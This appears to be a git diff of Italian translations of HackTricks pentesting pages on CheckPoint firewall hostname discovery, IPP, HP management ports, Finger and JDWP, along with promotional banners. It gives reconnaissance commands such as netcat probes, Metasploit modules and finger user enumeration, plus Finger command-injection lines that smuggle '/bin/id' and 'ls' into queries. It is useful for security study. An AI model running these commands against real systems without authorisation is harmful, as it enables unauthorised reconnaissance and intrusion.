Utilizzando una richiesta di pre-autenticazione, è possibile eseguire un modulo che prende di mira il **CheckPoint Firewall-1**. I comandi necessari per questa operazione sono delineati di seguito:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/gather/checkpoint_hostname
|
use auxiliary/gather/checkpoint_hostname
|
||||||
set RHOST 10.10.10.10
|
set RHOST 10.10.10.10
|
||||||
```
|
```
|
||||||
All'esecuzione, il modulo tenta di contattare il servizio di topologia SecuRemote del firewall. Se ha successo, conferma la presenza di un firewall CheckPoint e recupera i nomi sia del firewall che dell'host di gestione SmartCenter. Ecco un esempio di come potrebbe apparire l'output:
|
Al momento dell'esecuzione, il modulo tenta di contattare il servizio SecuRemote Topology del firewall. Se ha successo, conferma la presenza di un CheckPoint Firewall e recupera i nomi sia del firewall che dell'host di gestione SmartCenter. Ecco un esempio di come potrebbe apparire l'output:
|
||||||
```text
|
```text
|
||||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||||
[+] Appears to be a CheckPoint Firewall...
|
[+] Appears to be a CheckPoint Firewall...
|
||||||
|
@ -30,13 +31,13 @@ All'esecuzione, il modulo tenta di contattare il servizio di topologia SecuRemot
|
||||||
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
||||||
[*] Auxiliary module execution completed
|
[*] Auxiliary module execution completed
|
||||||
```
|
```
|
||||||
### Metodo alternativo per la scoperta del nome dell'host e del nome ICA
|
### Metodo Alternativo per la Scoperta del Nome Host e del Nome ICA
|
||||||
|
|
||||||
Un'altra tecnica prevede l'utilizzo di un comando diretto che invia una query specifica al firewall e analizza la risposta per estrarre il nome dell'host e il nome ICA del firewall. Il comando e la sua struttura sono i seguenti:
|
Un'altra tecnica prevede un comando diretto che invia una query specifica al firewall e analizza la risposta per estrarre il nome host del firewall e il nome ICA. Il comando e la sua struttura sono i seguenti:
|
||||||
```bash
|
```bash
|
||||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||||
```
|
```
|
||||||
L'output di questo comando fornisce informazioni dettagliate sul nome del certificato (CN) e sull'organizzazione (O) del firewall, come mostrato di seguito:
|
L'output di questo comando fornisce informazioni dettagliate riguardo al nome del certificato del firewall (CN) e all'organizzazione (O), come dimostrato di seguito:
|
||||||
```text
|
```text
|
||||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||||
```
|
```
|
||||||
|
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Internet Printing Protocol \(IPP\)
|
# Internet Printing Protocol \(IPP\)
|
||||||
|
|
||||||
L'**Internet Printing Protocol (IPP)**, come specificato in **RFC2910** e **RFC2911**, serve come base per la stampa su Internet. La sua capacità di essere esteso è dimostrata da sviluppi come **IPP Everywhere**, che mira a standardizzare la stampa mobile e cloud, e l'introduzione di estensioni per la **stampa 3D**.
|
Il **Internet Printing Protocol (IPP)**, come specificato in **RFC2910** e **RFC2911**, funge da base per la stampa su internet. La sua capacità di essere esteso è dimostrata da sviluppi come **IPP Everywhere**, che mira a standardizzare la stampa mobile e cloud, e l'introduzione di estensioni per la **stampa 3D**.
|
||||||
|
|
||||||
Sfruttando il protocollo **HTTP**, IPP beneficia di pratiche di sicurezza consolidate, tra cui **autenticazione di base/digest** e **crittografia SSL/TLS**. Azioni come l'invio di un lavoro di stampa o la verifica dello stato della stampante vengono eseguite tramite **richieste HTTP POST** dirette al server IPP, che opera sulla porta **631/tcp**.
|
Sfruttando il protocollo **HTTP**, IPP beneficia di pratiche di sicurezza consolidate, tra cui **autenticazione base/digest** e **crittografia SSL/TLS**. Azioni come l'invio di un lavoro di stampa o la richiesta dello stato della stampante vengono eseguite tramite **richieste HTTP POST** dirette al server IPP, che opera sulla **porta 631/tcp**.
|
||||||
|
|
||||||
Un'implementazione ben nota di IPP è **CUPS**, un sistema di stampa open-source diffuso su varie distribuzioni Linux e OS X. Nonostante la sua utilità, IPP, simile a LPD, può essere sfruttato per trasmettere contenuti maligni tramite file **PostScript** o **PJL**, evidenziando un potenziale rischio per la sicurezza.
|
Un'implementazione ben nota di IPP è **CUPS**, un sistema di stampa open-source prevalente in varie distribuzioni Linux e OS X. Nonostante la sua utilità, IPP, simile a LPD, può essere sfruttato per trasmettere contenuti dannosi tramite **file PostScript** o **PJL**, evidenziando un potenziale rischio per la sicurezza.
|
||||||
```python
|
```python
|
||||||
# Example of sending an IPP request using Python
|
# Example of sending an IPP request using Python
|
||||||
import requests
|
import requests
|
||||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
||||||
response = requests.post(url, headers=headers, data=data, verify=True)
|
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||||
print(response.status_code)
|
print(response.status_code)
|
||||||
```
|
```
|
||||||
Se vuoi saperne di più sul [**hacking delle stampanti leggi questa pagina**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
Se vuoi saperne di più su [**hacking delle stampanti leggi questa pagina**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**Porta predefinita:** 2301,2381
|
**Porta predefinita:** 2301,2381
|
||||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
||||||
jboss-service.xml
|
jboss-service.xml
|
||||||
.namazurc
|
.namazurc
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# 79 - Pentesting Finger
|
# 79 - Pentesting Finger
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **Informazioni di base**
|
## **Informazioni di base**
|
||||||
|
|
||||||
Il programma/servizio **Finger** viene utilizzato per recuperare informazioni sugli utenti di un computer. Tipicamente, le informazioni fornite includono il **nome utente di accesso, il nome completo** e, in alcuni casi, ulteriori dettagli. Questi dettagli aggiuntivi potrebbero comprendere la posizione dell'ufficio e il numero di telefono (se disponibili), l'ora di accesso dell'utente, il periodo di inattività (tempo di inattività), l'ultima volta che l'utente ha letto la posta elettronica e il contenuto dei file di piano e progetto dell'utente.
|
Il programma/servizio **Finger** è utilizzato per recuperare dettagli sugli utenti del computer. Tipicamente, le informazioni fornite includono il **nome utente, nome completo** e, in alcuni casi, dettagli aggiuntivi. Questi dettagli extra potrebbero comprendere la posizione dell'ufficio e il numero di telefono (se disponibile), l'ora in cui l'utente ha effettuato l'accesso, il periodo di inattività (tempo di inattività), l'ultima volta che la posta è stata letta dall'utente e i contenuti dei file di piano e progetto dell'utente.
|
||||||
|
|
||||||
**Porta predefinita:** 79
|
**Porta predefinita:** 79
|
||||||
```
|
```
|
||||||
|
@ -25,54 +26,26 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## **Enumerazione**
|
## **Enumerazione**
|
||||||
|
|
||||||
### **Rilevamento del banner/Connessione di base**
|
### **Acquisizione del banner/Connessione di base**
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 79
|
nc -vn <IP> 79
|
||||||
echo "root" | nc -vn <IP> 79
|
echo "root" | nc -vn <IP> 79
|
||||||
```
|
```
|
||||||
### **Enumerazione degli utenti**
|
### **Enumerazione degli utenti**
|
||||||
|
|
||||||
User enumeration is the process of gathering information about valid user accounts on a target system. This information can be used by an attacker to gain unauthorized access to the system.
|
|
||||||
|
|
||||||
La enumerazione degli utenti è il processo di raccolta di informazioni sugli account utente validi su un sistema di destinazione. Queste informazioni possono essere utilizzate da un attaccante per ottenere accesso non autorizzato al sistema.
|
|
||||||
|
|
||||||
#### **Finger service**
|
|
||||||
|
|
||||||
The Finger service is a network protocol that allows users to retrieve information about other users on a remote system. It is commonly used to obtain information such as the username, full name, and other details of a user.
|
|
||||||
|
|
||||||
Il servizio Finger è un protocollo di rete che consente agli utenti di recuperare informazioni su altri utenti su un sistema remoto. È comunemente utilizzato per ottenere informazioni come il nome utente, il nome completo e altri dettagli di un utente.
|
|
||||||
|
|
||||||
#### **Finger enumeration**
|
|
||||||
|
|
||||||
Finger enumeration is a technique used to gather information about users on a target system using the Finger service. By querying the Finger service with different usernames, an attacker can determine which usernames are valid on the system.
|
|
||||||
|
|
||||||
L'enumerazione Finger è una tecnica utilizzata per raccogliere informazioni sugli utenti su un sistema di destinazione utilizzando il servizio Finger. Interrogando il servizio Finger con diversi nomi utente, un attaccante può determinare quali nomi utente sono validi nel sistema.
|
|
||||||
|
|
||||||
#### **Tools for Finger enumeration**
|
|
||||||
|
|
||||||
There are several tools available for performing Finger enumeration, such as `finger`, `finger-user-enum`, and `enum4linux`. These tools automate the process of querying the Finger service with different usernames and provide the results in a readable format.
|
|
||||||
|
|
||||||
Ci sono diversi strumenti disponibili per eseguire l'enumerazione Finger, come `finger`, `finger-user-enum` e `enum4linux`. Questi strumenti automatizzano il processo di interrogazione del servizio Finger con diversi nomi utente e forniscono i risultati in un formato leggibile.
|
|
||||||
|
|
||||||
#### **Countermeasures**
|
|
||||||
|
|
||||||
To protect against Finger enumeration attacks, it is recommended to disable or restrict the Finger service on the target system. Additionally, implementing strong password policies and regularly monitoring user accounts can help prevent unauthorized access.
|
|
||||||
|
|
||||||
Per proteggersi dagli attacchi di enumerazione Finger, si consiglia di disabilitare o limitare il servizio Finger sul sistema di destinazione. Inoltre, l'implementazione di politiche di password robuste e il monitoraggio regolare degli account utente possono contribuire a prevenire l'accesso non autorizzato.
|
|
||||||
```bash
|
```bash
|
||||||
finger @<Victim> #List users
|
finger @<Victim> #List users
|
||||||
finger admin@<Victim> #Get info of user
|
finger admin@<Victim> #Get info of user
|
||||||
finger user@<Victim> #Get info of user
|
finger user@<Victim> #Get info of user
|
||||||
```
|
```
|
||||||
In alternativa, è possibile utilizzare **finger-user-enum** da [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), alcuni esempi:
|
In alternativa, puoi utilizzare **finger-user-enum** da [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), alcuni esempi:
|
||||||
```bash
|
```bash
|
||||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||||
finger-user-enum.pl -u root -t 10.0.0.1
|
finger-user-enum.pl -u root -t 10.0.0.1
|
||||||
finger-user-enum.pl -U users.txt -T ips.txt
|
finger-user-enum.pl -U users.txt -T ips.txt
|
||||||
```
|
```
|
||||||
#### **Nmap esegue uno script per fare l'utilizzo degli script predefiniti**
|
#### **Nmap esegue uno script per utilizzare script predefiniti**
|
||||||
|
|
||||||
### Metasploit utilizza più trucchi rispetto a Nmap
|
### Metasploit utilizza più trucchi di Nmap
|
||||||
```
|
```
|
||||||
use auxiliary/scanner/finger/finger_users
|
use auxiliary/scanner/finger/finger_users
|
||||||
```
|
```
|
||||||
|
@ -80,28 +53,29 @@ use auxiliary/scanner/finger/finger_users
|
||||||
|
|
||||||
* `port:79 USER`
|
* `port:79 USER`
|
||||||
|
|
||||||
## Esecuzione di comandi
|
## Esecuzione comandi
|
||||||
```bash
|
```bash
|
||||||
finger "|/bin/id@example.com"
|
finger "|/bin/id@example.com"
|
||||||
finger "|/bin/ls -a /@example.com"
|
finger "|/bin/ls -a /@example.com"
|
||||||
```
|
```
|
||||||
## Finger Bounce
|
## Finger Bounce
|
||||||
|
|
||||||
[Utilizzare un sistema come un relay per il finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
[Usa un sistema come relay finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||||
```
|
```
|
||||||
finger user@host@victim
|
finger user@host@victim
|
||||||
finger @internal@external
|
finger @internal@external
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# Pentesting JDWP - Java Debug Wire Protocol
|
# Pentesting JDWP - Java Debug Wire Protocol
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
